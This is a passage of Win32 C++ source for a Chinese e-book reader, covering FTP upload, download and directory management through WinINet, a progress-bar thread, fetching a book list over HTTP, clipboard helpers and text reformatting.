{wstring bookstrbegin;//变量bookstr的前面部份=bookstr.substr(0,beginwz);wstring bookstrend;//变量bookstr的后面部份=bookstr.substr(endwz);wstring bookstredit;//当前页面正在编辑的字符haveedit=true;//for 这部分代码主要是连接当前显示的所有字符,并放入变量BOOKSTREDIT中for (int i=0;i<showstr.size();i++){bookstredit=bookstredit+ANSIToUnicode(showstr[i]);}//当前位置处于第1页,并且总页数大于1的情况if (beginwz==0 && endwz<bookstr.length()-1){bookstrend=bookstr.substr(endwz);bookstr=bookstredit+bookstrend;}//当前位置处于第1页,总页数仅有1页的情况if (beginwz==0 && endwz>=bookstr.length()-1){bookstr=bookstredit;}                  //当前位置处于于中间页的情况,总页数>2以上if (beginwz>0 && endwz<bookstr.length()-1){bookstrbegin=bookstr.substr(0,beginwz);bookstrend=bookstr.substr(endwz);                        bookstr=bookstrbegin+bookstredit+bookstrend; }//当前页处于最末页,总页数>2以上if (beginwz>0 && endwz>=bookstr.length()-1){bookstrbegin=bookstr.substr(0,beginwz);bookstr=bookstrbegin+bookstredit; }   }//建立托盘图标
void InitTray(HINSTANCE hInstance, HWND hWnd)
{/托盘程序所用参数定义////* #define WM_TRAY (WM_USER + 100)//托盘消息#define WM_TASKBAR_CREATED RegisterWindowMessage(TEXT("TaskbarCreated"))#define IDI_TRAY  9100//icoNOTIFYICONDATA nid;        //托盘属性HMENU hMenu;          //托盘菜单//HWND MAIN_hwnd;/托盘程序所用参数定义/// */    nid.cbSize = sizeof(NOTIFYICONDATA);nid.hWnd = hWnd;nid.uID = IDI_TRAY;nid.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP ;//这个不能用| NIF_INFO;nid.uCallbackMessage = WM_TRAY;nid.hIcon = (HICON) LoadImage(hInstance, MAKEINTRESOURCE(IDI_ICON1), IMAGE_ICON, 32, 32, LR_SHARED); //也可以用这种方法//nid.hIcon = LoadIcon(hInstance,"IDI_ICON1"); //必须要用这种形式,不然不会显示出图标lstrcpy(nid.szTip, "悦读器 设计:张国鹏");hMenu = CreatePopupMenu();//生成托盘菜单//为托盘菜单添加两个选项AppendMenu(hMenu, MF_STRING, 20, TEXT("关于"));AppendMenu(hMenu, MF_STRING, 21, TEXT("退出"));Shell_NotifyIcon(NIM_ADD, &nid);
}BOOL Ftp_SaveToFile(const char *pszFileName, BYTE *pData, DWORD dwDataSize)
{HANDLE hFile = CreateFile(pszFileName, GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_ARCHIVE, NULL);if (INVALID_HANDLE_VALUE == hFile)return FALSE;DWORD dwRet = 0;WriteFile(hFile, pData, dwDataSize, &dwRet, NULL);CloseHandle(hFile);return TRUE;
}
//运用线程,可以防止程序假死,将大量的长时间的运算工作采取这种模式较好
DWORD WINAPI xc3(LPVOID lpParamter)
{HWND hwnd = (HWND) lpParamter;    //进度条的窗口句柄HDC hdc=GetDC(hwnd);//创建绘画设备 HPEN hpen = CreatePen(PS_SOLID, 1, 8421504);//255,100,255HBRUSH hbrush1 = CreateSolidBrush(255);//画刷的着色黑色 HBRUSH hbrush2 = CreateSolidBrush(16744576);//画刷的着色黑色  hFont=CreateFont((char*)"宋体",15);//用于显示信息栏SelectObject(hdc, hpen);SelectObject(hdc, hbrush2 );SelectObject(hdc,hFont);//选择字体 GetClientRect (hwnd, &r);RECT r1;r.right=r.right-2;r.left=r.left+2;int cxForm=r.right-r.left;//得到界面的宽度int cyForm=r.bottom-r.top;//得到界面的高度r.top=r.bottom-20;r.bottom=r.bottom-1;r1=r;SetTextColor(hdc, 65535);//设置字体着色SetBkMode(hdc,TRANSPARENT);// 设置TextOut文本背景色模式为透明DWORD old_jdtss=0;while(yx1==1){   if (old_jdtss!=jdtss){FillRect(hdc,&r1,hbrush2);//用背景画刷以矩形填充整个窗口r.right=r.left+cxForm*((double)jdtss/jdtzs);FillRect(hdc,&r,hbrush1);//用背景画刷以矩形填充整个窗口DrawText(hdc,inputstr,strlen(inputstr),&r1,DT_SINGLELINE | DT_CENTER | DT_VCENTER);Sleep(10);old_jdtss=jdtss;}//TextOut(hdc,10,r.bottom-20,inputstr,strlen(inputstr));//UpdateWindow(hwnd);    }FillRect(hdc,&r1,hbrush1);//用背景画刷以矩形填充整个窗口DrawText(hdc,inputstr,strlen(inputstr),&r1,DT_SINGLELINE | DT_CENTER | DT_VCENTER);DeleteObject(hpen);//删除画笔DeleteObject(hbrush1);//删除画笔DeleteObject(hbrush2);//删除画笔DeleteObject(hFont);//删除画笔ReleaseDC(hwnd,hdc);return 0L;
}
//ftp下载文件不带进度模式
BOOL ftp_down_file(const char *server, int port, const char *username, const char *password, const char *szLocalFileName, const char *szFtpFileName,bool debug)
{HINTERNET net_session = 0;   HINTERNET ftp_session = 0;if (debug) printf("正在连接网络.....\n");net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {if (debug) printf("[%s]不能连接网络!\n", __FUNCTION__);InternetCloseHandle(net_session);return FALSE;}if (debug) printf("正在连接FTP服务器.....\n");ftp_session = InternetConnect(net_session, server, port, username, password,INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){if (debug) printf("[%s]不能连接FTP服务器\n", __FUNCTION__);InternetCloseHandle(net_session);InternetCloseHandle(ftp_session);           return FALSE;}if (debug) printf("开始下载文件...\n");bool zs=FtpGetFile(ftp_session,szFtpFileName, szLocalFileName, FALSE,FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0 );//INTERNET_FLAG_TRANSFER_BINARY  FTP_TRANSFER_TYPE_ASCIIInternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已关闭所有连接.....\n");return zs;/*InternetConnect参数说明编辑
hInternetSession:由InternetOpen返回的句柄。
sServerName:连接的ip或者主机名
nServerPort:连接的端口。如0,则为默认端口。
sUsername :用户名,如无置null
sPassword :密码,如无置null。
lService:使用的服务类型,可以使用以下
INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上
INTERNET_SERVICE_GOPHER = 2
INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
lFlags :文档传输形式及缓存标记。一般置0。待补充。
ftp下:134217728=被动连接,vb有说法是x8000000。
lContext:当使用回叫信号时, 用来识别应用程序的前后关系。
返回值编辑
成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。*/          /*BOOLAPI FtpGetFileA(HINTERNET hConnect,//FTP句柄LPCSTR    lpszRemoteFile,//FTP上的文件 LPCSTR    lpszNewFile,//本地要保存的文件BOOL      fFailIfExists,//如果TRUE,将文件存在时则下载取消,如果FALSE则直接履盖DWORD     dwFlagsAndAttributes,//FILE_ATTRIBUTE_NORMALDWORD     dwFlags,//FTP_TRANSFER_TYPE_BINARYDWORD_PTR dwContext//0
);*/
//示例FtpGetFile( hConnection, szFtpFileName, szLocalFileName, FALSE,FILE_ATTRIBUTE_NORMAL, dwTransferType, 0 )
}//ftp下载文件带进度模式
BOOL ftp_down_file1(HWND hwnd,const char *server, int port, const char *username, const char *password, const char *szLocalFileName, const char *szFtpFileName,bool debug)
{HINTERNET net_session = 0;   HINTERNET ftp_session = 0;HINTERNET ftp_file = 0;BYTE *pDownloadData = NULL;//存放下载文件的缓冲区DWORD dwDownloadDataSize = 0;//要下载的文件大小DWORD dwBufferSize = 4096;//下载缓冲区大小BYTE *pBuf = NULL;//下载缓冲区DWORD dwBytesReturn = 0;DWORD dwOffset = 0;//偏移量BOOL bRet = FALSE;char temp[50];double zs=0;if (debug) printf("正在连接网络.....\n");net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {if (debug) printf("[%s]不能连接网络!\n", __FUNCTION__);InternetCloseHandle(net_session);return false;}if (debug) printf("正在连接FTP服务器.....\n");ftp_session = InternetConnect(net_session, server, port, username, password,INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){if (debug) printf("[%s]不能连接FTP服务器\n", __FUNCTION__);InternetCloseHandle(net_session);InternetCloseHandle(ftp_session);         return false;}if (debug) printf("开始下载文件...\n");//打开FTP文件,文件操作和本地操作相似ftp_file=FtpOpenFile(ftp_session,szFtpFileName,GENERIC_READ,FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD,0);//获取文件大小dwDownloadDataSize=FtpGetFileSize(ftp_file,NULL);sprintf(temp,"该文件大小为:%dKB,确定要下载吗?",dwDownloadDataSize/1024);if (MessageBox(MAIN_hwnd,temp,"提示",MB_YESNO|MB_ICONQUESTION)==IDNO ){InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已关闭所有连接.....\n");return false;} //printf("文件大小为:%d\n",dwDownloadDataSize);// 申请动态内存pDownloadData = new BYTE[dwDownloadDataSize];RtlZeroMemory(pDownloadData, dwDownloadDataSize);pBuf = new BYTE[dwBufferSize];RtlZeroMemory(pBuf, dwBufferSize);jdtzs=dwDownloadDataSize;jdtss=0;// 接收数据//InvalidateRect(hwnd,NULL,TRUE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景yx1=1;memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会.......  HANDLE hThread1 = CreateThread(NULL, 0, xc3, hwnd, 0, NULL);//创建线程 // 接收数据do{bRet = InternetReadFile(ftp_file, pBuf, dwBufferSize, &dwBytesReturn);if (FALSE == bRet){// 释放内存delete[]pDownloadData;pDownloadData = NULL;InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已关闭所有连接.....\n");yx1=0;return false;          }RtlCopyMemory((pDownloadData + dwOffset), pBuf, dwBytesReturn);dwOffset = dwOffset + dwBytesReturn;zs=(double)dwOffset/dwDownloadDataSize*100;sprintf(inputstr,"下载进度:%.2f%%\n",zs);SetWindowText(hwnd,inputstr);jdtss=dwOffset;//printf("%s\n",inputstr);} while (dwDownloadDataSize >dwOffset);// 将数据保存为文件Ftp_SaveToFile(szLocalFileName, pDownloadData, dwDownloadDataSize);// 释放内存delete[]pDownloadData;pDownloadData = NULL;//关闭句柄InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已关闭所有连接.....\n");yx1=0;return true;
}//ftp上传文件不带进度模式
BOOL ftp_upload_file(const char *server, int port, const char *username, const char *password, const char *localfile, const char *remotefile,bool debug){HINTERNET net_session = 0;   HINTERNET ftp_session = 0;if (debug) printf("正在连接网络.....\n");net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {if (debug) printf("[%s]不能连接网络!\n", __FUNCTION__);InternetCloseHandle(net_session);return FALSE;}if (debug) printf("正在连接FTP服务器.....\n");ftp_session = InternetConnect(net_session, server, port, username, password, INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){if (debug) printf("[%s]不能连接FTP服务器\n", __FUNCTION__);InternetCloseHandle(ftp_session);           return FALSE;}if (debug) printf("开始上传文件...\n");bool zs=FtpPutFile(ftp_session, localfile, remotefile,INTERNET_FLAG_TRANSFER_BINARY, 0);//INTERNET_FLAG_TRANSFER_BINARY  FTP_TRANSFER_TYPE_ASCIIInternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已上传文件%s,连接已关闭...\n",remotefile);return zs;/*参数说明编辑
hInternetSession:由InternetOpen返回的句柄。
sServerName:连接的ip或者主机名
nServerPort:连接的端口。如0,则为默认端口。
sUsername :用户名,如无置null
sPassword :密码,如无置null。
lService:使用的服务类型,可以使用以下
INTERNET_SERVICE_FTP = 1:连接到一个 FTP 服务器上
INTERNET_SERVICE_GOPHER = 2
INTERNET_SERVICE_HTTP = 3:连接到一个 HTTP 服务器上
lFlags :文档传输形式及缓存标记。一般置0。待补充。
ftp下:134217728=被动连接,vb有说法是x8000000。
lContext:当使用回叫信号时, 用来识别应用程序的前后关系。
返回值编辑
成功返回非0。如果返回0。要InternetCloseHandle释放这个句柄。*/
}//ftp上传文件带进度模式
BOOL ftp_upload_file1(HWND hwnd,const char *server, int port, const char *username, const char *password, const char *localfile, const char *remotefile,bool debug){HINTERNET net_session = 0;   HINTERNET ftp_session = 0;HINTERNET hFTPFile = NULL;DWORD dwBytesReturn = 0;DWORD UploadDataSize = 0;BYTE *pUploadData = NULL;DWORD dwRet, bRet = 0;    DWORD dwBufferSize = 4096;//上传缓冲区大小BYTE *pBuf = NULL;//上传缓冲区DWORD dwOffset = 0;//偏移量 double zs=0;if (debug) printf("正在连接网络.....\n");net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {if (debug) printf("[%s]不能连接网络!\n", __FUNCTION__);InternetCloseHandle(net_session);return FALSE;}if (debug) printf("正在连接FTP服务器.....\n");ftp_session = InternetConnect(net_session, server, port, username, password, INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){if (debug) printf("[%s]不能连接FTP服务器\n", __FUNCTION__);InternetCloseHandle(ftp_session);            return FALSE;}if (debug) printf("开始上传文件...\n");hFTPFile = FtpOpenFile(ftp_session, remotefile, GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY | INTERNET_FLAG_RELOAD, 0);// 打开文件HANDLE hFile = CreateFile(localfile, GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE, NULL);if (INVALID_HANDLE_VALUE == hFile){InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);           return FALSE;}// 获取文件大小UploadDataSize = GetFileSize(hFile, NULL);// 读取文件数据pUploadData = new BYTE[UploadDataSize];ReadFile(hFile, pUploadData, UploadDataSize, &dwRet, NULL);UploadDataSize = dwRet;CloseHandle(hFile); // 一定注意在函数退出之前对句柄进行释放。// 申请动态内存pBuf = new BYTE[dwBufferSize];RtlZeroMemory(pBuf, dwBufferSize);DWORD dwupBufferSize = 0;//上传缓冲区大小   jdtzs=UploadDataSize;jdtss=0;// 接收数据//InvalidateRect(hwnd,NULL,TRUE);//刷新显示结果 TRUE重画时将擦除背景。false重画时不擦除背景yx1=1;memset(inputstr, 0, MAX_PATH);//一定要清掉内存,不然会.......  //inputstrHANDLE hThread1   = CreateThread(NULL, 0, xc3, hwnd, 0, NULL);//创建线程 do{if ((UploadDataSize-dwOffset)>=dwBufferSize){dwupBufferSize=dwBufferSize;}else{dwupBufferSize=UploadDataSize-dwOffset;}RtlZeroMemory(pBuf, dwBufferSize);//清除缓冲区数据RtlCopyMemory(pBuf,(pUploadData+dwOffset),dwupBufferSize);//复制缓冲区数据// 上传数据bRet = InternetWriteFile(hFTPFile, pBuf, dwupBufferSize, &dwBytesReturn);if (FALSE == bRet){// 释放内存delete[]pUploadData;InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);yx1=0;return false;         }dwOffset = dwOffset + dwBytesReturn;zs=(double)dwOffset/UploadDataSize*100;sprintf(inputstr,"上传进度:%.2f%%\n",zs);SetWindowText(hwnd,inputstr);jdtss=dwOffset;//InvalidateRect(hwnd,NULL,FALSE);//TextOut(hdc,10,r.bottom-20,inputstr,strlen(inputstr));} while (dwOffset<UploadDataSize);delete[]pUploadData;InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已上传文件%s,连接已关闭...\n",remotefile);yx1=0;return TRUE;
}BOOL ftp_delete_file(const char *server, int port, const char *username, const char *password, const char *remotefile,bool debug){HINTERNET net_session = 0;   HINTERNET ftp_session = 0;string dirname;if (debug) printf("正在连接网络.....\n");net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {if (debug) printf("[%s]不能连接网络!\n", __FUNCTION__);InternetCloseHandle(net_session);return FALSE;}if (debug) printf("正在连接FTP服务器.....\n");ftp_session = InternetConnect(net_session, server, port, username, password, INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){if (debug) printf("[%s]不能连接FTP服务器\n", __FUNCTION__);InternetCloseHandle(ftp_session);          return FALSE;}if (debug) printf("开始上传文件...\n");dirname=remotefile;bool zs;if (dirname.find("[")!=string::npos && dirname.rfind("]")!=string::npos){dirname=dirname.erase(dirname.find("["),1);dirname=dirname.erase(dirname.find("]"),1);//MessageBox(NULL,dirname.c_str(),"",0);zs=FtpRemoveDirectory( ftp_session, dirname.c_str() );//从FTP服务器中删除一个目录}else{zs=FtpDeleteFile(ftp_session, remotefile);//删除FTP文件}InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已上传文件%s,连接已关闭...\n",remotefile);return zs;}BOOL ftp_rename_Directory(const char *server, int port, const char *username, const char *password,
const char *szOldFileName, const char *szNewFileName,const char *szftppath,bool debug)
{HINTERNET net_session = 0;   HINTERNET ftp_session = 0;if (debug) printf("正在连接网络.....\n");net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {if (debug) printf("[%s]不能连接网络!\n", __FUNCTION__);InternetCloseHandle(net_session);return FALSE;}if (debug) printf("正在连接FTP服务器.....\n");ftp_session = InternetConnect(net_session, server, port, username, password,INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){if (debug) printf("[%s]不能连接FTP服务器\n", __FUNCTION__);InternetCloseHandle(net_session);InternetCloseHandle(ftp_session);           return FALSE;}if (debug) printf("开始创建目录...\n");FtpSetCurrentDirectory( ftp_session, szftppath);//设置FTP目录为当前目录bool zs=FtpRenameFile( ftp_session, szOldFileName, szNewFileName );if (!zs) MessageBox(NULL,"更名失败!可能已经存在该目录或文件.....","",0);InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已关闭所有连接.....\n");return zs;
}BOOL ftp_creat_Directory(const char *server, int port, const char *username, const char *password, const char *szDirectoryName, const char *szftppath,bool debug)
{HINTERNET net_session = 0;   HINTERNET ftp_session = 0;if (debug) printf("正在连接网络.....\n");net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {if (debug) printf("[%s]不能连接网络!\n", __FUNCTION__);InternetCloseHandle(net_session);return FALSE;}if (debug) printf("正在连接FTP服务器.....\n");ftp_session = InternetConnect(net_session, server, port, username, password,INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){if (debug) printf("[%s]不能连接FTP服务器\n", __FUNCTION__);InternetCloseHandle(net_session);InternetCloseHandle(ftp_session);           return FALSE;}if (debug) printf("开始创建目录...\n");FtpSetCurrentDirectory( ftp_session, szftppath);//设置FTP目录为当前目录bool zs=FtpCreateDirectory( ftp_session, szDirectoryName );//FTP服务器上创建一个新目录if (!zs) MessageBox(NULL,"创建目录失败!可能已经存在该目录.....","",0);InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);if (debug) printf("已关闭所有连接.....\n");return zs;
}//枚举FTP文件清单
BOOL ftp_DisplayFtpDir(const char *server, int port, const char *username1, const char *password, const char *ftpdir,bool debug)
{HINTERNET net_session = 0;   HINTERNET ftp_session = 0;WIN32_FIND_DATA dirInfo;HINTERNET       hFind;string dirname;int i=0;net_session = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if(0 == net_session) {MessageBox(NULL,"不能连接网络!","警告",MB_OK);InternetCloseHandle(net_session);return FALSE;}ftp_session = InternetConnect(net_session, server, port, username1, password, INTERNET_SERVICE_FTP, 0, 0);//连接FTP服务器if(0 == ftp_session){MessageBox(NULL,"不能连接FTP服务器!","警告",MB_OK);InternetCloseHandle(net_session);InternetCloseHandle(ftp_session);          return FALSE;}SendMessage(KJ_TALK7_LISTBOX1,LB_RESETCONTENT ,0,0L);//清空列表框  hFind = FtpFindFirstFile( ftp_session,ftpdir,&dirInfo, INTERNET_FLAG_RELOAD, 0 );//INTERNET_FLAG_HYPERLINK//INTERNET_FLAG_RELOAD 从原服务器强制下载所要求的文件,对象,或目录列表,而不是从缓存下载。                       if ( hFind == NULL ){InternetCloseHandle(net_session);InternetCloseHandle(ftp_session);   InternetCloseHandle(hFind);     return FALSE;       }       bool temp;                      do{//if (debug) printf("文件名:%s  文件属性:%d 创建时间:%s\n", dirInfo.cFileName,dirInfo.dwFileAttributes, dirInfo.ftCreationTime);dirname=dirInfo.cFileName;temp=false;if (username=="lovegp")//如果是这个用户名,则显示含有“张国鹏”的目录{temp=true;}else//否则,不显示含有“张国鹏”的目录{if (dirname.find("张国鹏")!=string::npos)//如果含有“张国鹏”,则标志TEMP设为FALSE,就不显示{temp=false;}else{temp=true;}}if (temp==true){if(dirInfo.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){dirname="["+dirname+"]";SendMessage(KJ_TALK7_LISTBOX1, LB_INSERTSTRING, 0,(LPARAM)dirname.c_str());//(LPARAM)dirInfo.cFileName}else{SendMessage(KJ_TALK7_LISTBOX1, LB_ADDSTRING, 0,(LPARAM)dirname.c_str());//(LPARAM)dirInfo.cFileName}}i++;} while( InternetFindNextFile( hFind, (LPVOID) &dirInfo ) );InternetCloseHandle(ftp_session); InternetCloseHandle(net_session);InternetCloseHandle(hFind);if (debug) printf("已关闭所有连接...\n");        return true;
}//得到网页内容
string geturl(string str)
{DWORD   flags;//上网方式 if (InternetGetConnectedState(&flags,0)==false)//检测连网状态{MessageBox(MAIN_hwnd,"提示:无网络连接,无法完成连网动作!","警告",MB_OK);return "";}    DWORD dwByteRead = 0;char szDownBuffer[1024*100];memset(szDownBuffer, 0, 1024*100);HINTERNET hintInternetOpen = InternetOpen("Testing", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);           if (hintInternetOpen!=NULL){HINTERNET hintInternetOpenUrl = InternetOpenUrl(hintInternetOpen, str.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);         if (hintInternetOpenUrl!=NULL){BOOL bIntNetReadFile = InternetReadFile(hintInternetOpenUrl, szDownBuffer, sizeof(szDownBuffer), &dwByteRead);string str1="";while (bIntNetReadFile==true){str1=str1+szDownBuffer;if (!dwByteRead)//所有数据读完了{InternetCloseHandle(hintInternetOpenUrl);InternetCloseHandle(hintInternetOpen);return str1;}                        memset(szDownBuffer, 0, 1024*100);//一定要清掉内存,不然会.......   bIntNetReadFile = InternetReadFile(hintInternetOpenUrl, szDownBuffer, sizeof(szDownBuffer), &dwByteRead);} InternetCloseHandle(hintInternetOpenUrl);}else {InternetCloseHandle(hintInternetOpen);//是不是打开成功再要关闭这个句柄?return "";}    InternetCloseHandle(hintInternetOpen);//是不是打开成功再要关闭这个句柄?     }else {return "";     }
}//得到书籍清单
void getbooklist(string str)
{string str1=geturl(str);//得到网页内容if (str1=="") return;//将str1内容按换行符截取到BOOKLIST中booklist.clear();string str2="";for (int i=0;i<str1.size();i++){if (str1[i]==13 || str1[i]==10){if (str2!="" && str2!="0") booklist.push_back(str2);str2="";}else{str2=str2+str1[i];}}//显示BOOKLIST中的内容到KJ_TALK2.LISTBOX2中int fz;string zs1;SendMessage(KJ_TALK2_LISTBOX2,LB_RESETCONTENT ,0,0L);//清空列表框for (int i=1;i<booklist.size();i++){fz=booklist[i].rfind('=');//string.rfind  从字符串右边开始找字符,返回位置zs1=booklist[i].substr(0,fz);  // s2 = "is i"SendMessage(KJ_TALK2_LISTBOX2, LB_ADDSTRING, 0,(LPARAM)zs1.c_str());}zs1=booklist[0];zs1="页数:"+urlpage+"/"+zs1+"           ";SetWindowText(KJ_TALK2_TEXT1,(char *)zs1.c_str());
}//保存文件对话框 WIN API
string GetSaveFileName()
{OPENFILENAME ofn = { 0 };char strFilename[MAX_PATH] = { 0 };ofn.lStructSize = sizeof(OPENFILENAME);ofn.lpstrFile = strFilename;string ml;ml=Get_Run_Path_ZGP();ml=ml+"gpbook";ofn.lpstrInitialDir = ml.c_str();//初始目录为默认if (username=="lovegp"){ofn.lpstrFilter = TEXT("所有文件\0*.*\0\0");//设置过滤}else{ofn.lpstrFilter = TEXT("文本文件\0*.TXT;*.cpp\0\0");//设置过滤}ofn.nMaxFile = MAX_PATH;ofn.Flags = OFN_EXPLORER | OFN_PATHMUSTEXIST |OFN_ENABLEHOOK;//ofn.lpfnHook = &CbGetFileExtension; //添加回调函数string fh;if (GetSaveFileName(&ofn)){fh=strFilename;if (fh.find(".")==string::npos){fh=fh+".TXT";}return fh;}else{return "";}}//打开文件对话框 WIN API
string GetOpenFileName()
{//loop:OPENFILENAME ofn = { 0 };char strFilename[MAX_PATH] = { 0 };//用于接收文件名//MessageBox(NULL, strFilename, TEXT("选择的文件"), 0);ofn.lStructSize = sizeof(OPENFILENAME);//结构体大小ofn.hwndOwner = NULL;//拥有着窗口句柄,为NULL表示对话框是非模态的,实际应用中一般都要有这个句柄if (username=="lovegp"){ofn.lpstrFilter = TEXT("所有文件\0*.*\0\0");//设置过滤}else{ofn.lpstrFilter = TEXT("文本文件\0*.TXT;*.cpp\0\0");//设置过滤}ofn.nFilterIndex = 1;//过滤器索引ofn.lpstrFile = (LPTSTR)strFilename;//接收返回的文件名,注意第一个字符需要为NULLofn.nMaxFile = sizeof(strFilename);//缓冲区长度string initialdir;initialdir=Get_Run_Path_ZGP();initialdir=initialdir+"gpbook";ofn.lpstrInitialDir = initialdir.c_str();//初始目录为默认ofn.lpstrTitle = TEXT("请选择一个文本文件");//使用系统默认标题留空即可ofn.Flags = OFN_FILEMUSTEXIST | OFN_PATHMUSTEXIST | OFN_HIDEREADONLY;//文件、目录必须存在,隐藏只读选项string fh;if (GetOpenFileName(&ofn))  //如果用GCC编译的话,编译命令行要这样才行:gcc -o A A.cpp -static-libgcc -lgdi32 -lcomdlg32{fh=strFilename;//MessageBox(NULL, strFilename, "选择的文件", 0);//MessageBox(NULL, fh, "选择的文件", 0);return fh;}else{return "";//MessageBox(NULL, TEXT("请选择一个文件"), NULL, MB_ICONERROR);//goto loop;}}//将字符串复制到剪切板
bool SetClipData(char *pstr){if(OpenClipboard(NULL)){char *pBuf;if(0==EmptyClipboard()){CloseClipboard();return false;}HGLOBAL  hClip=GlobalAlloc(GMEM_MOVEABLE,strlen(pstr)+1);if(NULL==hClip){CloseClipboard();return false;}pBuf=(char*)GlobalLock(hClip);if(NULL==pBuf){CloseClipboard();return false;}strcpy(pBuf,pstr);GlobalUnlock(hClip);if(NULL==SetClipboardData(CF_TEXT,hClip)){CloseClipboard();return false;}CloseClipboard();}return true;
}// 从剪切板中取得数据
string GetTextFromClipboard()
{char* lpStr;if(::OpenClipboard(NULL)){//获得剪贴板数据HGLOBAL hMem = GetClipboardData(CF_TEXT);if(NULL != hMem){lpStr = (char*)::GlobalLock(hMem);if(NULL != lpStr){// MessageBox(0, lpStr, "", 0);::GlobalUnlock(hMem);::CloseClipboard();string ls;ls=lpStr;return ls;}else{::GlobalUnlock(hMem);::CloseClipboard();         return "";}}else{::CloseClipboard();return "";}}else{return "";}
}//对文件进行排版
void Typesetting()
{DWORD dwStart;dwStart = GetTickCount();wstring newwstr,s;int wz=0;wstring wstr_qjtab=ANSIToUnicode("   ");//全角tabwstring wstr_qjkg=ANSIToUnicode(" ");//全角空格   bool hh=false;//把文章开头的一些空格,回车符、换行符、TAB字符统统去掉s=bookstr[wz];while ((s==wstr_qjkg || s==wstr_qjtab || bookstr[wz]==10 || bookstr[wz]==13 || bookstr[wz]==32) && wz<bookstr.length()){wz++;s=bookstr[wz];} //开始排版while (wz<bookstr.length()){//遇到换行符if (bookstr[wz]==0x0D || bookstr[wz]==0x0A){newwstr.push_back(bookstr[wz]);//这种模式速度超级快wz++;if (bookstr[wz]==0x0D || bookstr[wz]==0x0A){newwstr.push_back(bookstr[wz]);//这种模式速度超级快wz++;  } hh=true;}else//正常字符处理{hh=false;newwstr.push_back(bookstr[wz]);//这种模式速度超级快wz++;}   //换行后,将空格,回车符、换行符、TAB字符统统去掉               s=bookstr[wz];if (hh==true){while (s==wstr_qjkg||s==wstr_qjtab|| bookstr[wz]==0x0D || bookstr[wz]==0x0A  || bookstr[wz]==0x20){wz++;s=bookstr[wz];}wstring wstrtemp=ANSIToUnicode("  ");//newwstr=newwstr+wstrtemp;//尽量不要采取这种模式追加字符串newwstr.push_back(wstrtemp[0]);//32919newwstr.push_back(wstrtemp[1]);//32919}  }   //排版完成char ls1[MAX_PATH];sprintf(ls1,"排版完成,共耗时:%d毫秒!是否打开文件:%s?",GetTickCount()-dwStart,inputstr);      string str_write=UnicodeToANSI(newwstr);string tempname=inputstr;WriteToFile(str_write,tempname);if (MessageBox(MAIN_hwnd,ls1,"提示",MB_YESNO|MB_ICONQUESTION)==IDYES ){ShellExecute(NULL,"open",tempname.c_str(), NULL, NULL, SW_SHOWNORMAL);                }           return;}//对文件进行排版-去除括号内的内容,并用相应的空格去填充
void Typesetting1()
